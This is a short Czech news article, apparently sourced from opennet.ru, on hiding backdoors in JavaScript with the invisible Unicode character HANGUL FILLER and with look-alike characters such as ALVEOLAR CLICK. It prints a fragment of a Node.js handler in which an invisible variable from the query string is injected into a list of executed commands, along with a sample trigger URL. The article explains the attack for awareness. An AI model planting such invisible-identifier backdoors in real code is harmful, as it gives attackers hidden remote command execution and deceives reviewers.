Použití neviditelných znaků unicode ke skrytí akcí v kódu JavaScript

Po metodě útoku Trojan Source založené na použití znaků Unicode, které mění pořadí zobrazení obousměrného textu, byla zveřejněna další technika pro zavádění skrytých akcí, použitelná pro kód JavaScript. Nová metoda je založena na použití unicode znaku "ㅤ" (kód 0x3164, "HANGUL FILLER"), což je písmeno, ale nemá žádný viditelný obsah. Kategorie Unicode, do které tento znak patří, je povolena od specifikace ECMAScript 2015 pro použití v názvech proměnných JavaScriptu, což umožňuje vytvářet neviditelné proměnné nebo nové proměnné nerozeznatelné od jiných proměnných v oblíbených editorech kódu, jako je Notepad++ a VS Code.

Jako příklad je uveden kód pro platformu Node.js, ve které je pomocí proměnné skládající se z jednoho znaku „ㅤ“ skryta zadní vrátka, která vám umožní spustit kód určený útočníkem: app.get( '/health_network', async (req, res) = > { const { timeout,ㅤ} = req.query; // ve skutečnosti říká "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // čárka následovaná \u3164 ];

Externím parametrem je na první pohled předána pouze hodnota timeoutu a pole s příkazy, které se mají provést, obsahuje neškodný pevný seznam. Ale ve skutečnosti je po proměnné timeout přiřazena hodnota další neviditelné proměnné s kódem symbolu \u3164, která je také dosazena do pole spustitelných příkazů. V přítomnosti takové struktury tedy může útočník poslat požadavek jako „https://host:8080/network_health?%E3%85%A4=command“, aby aktivoval zadní vrátka a provedl svůj kód.

Jako další příklad je uveden znak "ǃ" (ALVEOLAR CLICK), který může být použit k vytvoření vzhledu indikujícího vykřičník. Například výraz "if(environmentǃ=ENV_PROD){" při spuštění v Node.js 14 bude vždy pravdivý, protože nekontroluje rozdíly, ale nastaví proměnnou "environmentǃ" na ENV_PROD. Mezi zavádějící znaky Unicode patří „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ a „∗“.

Zdroj: opennet.ru

Přidat komentář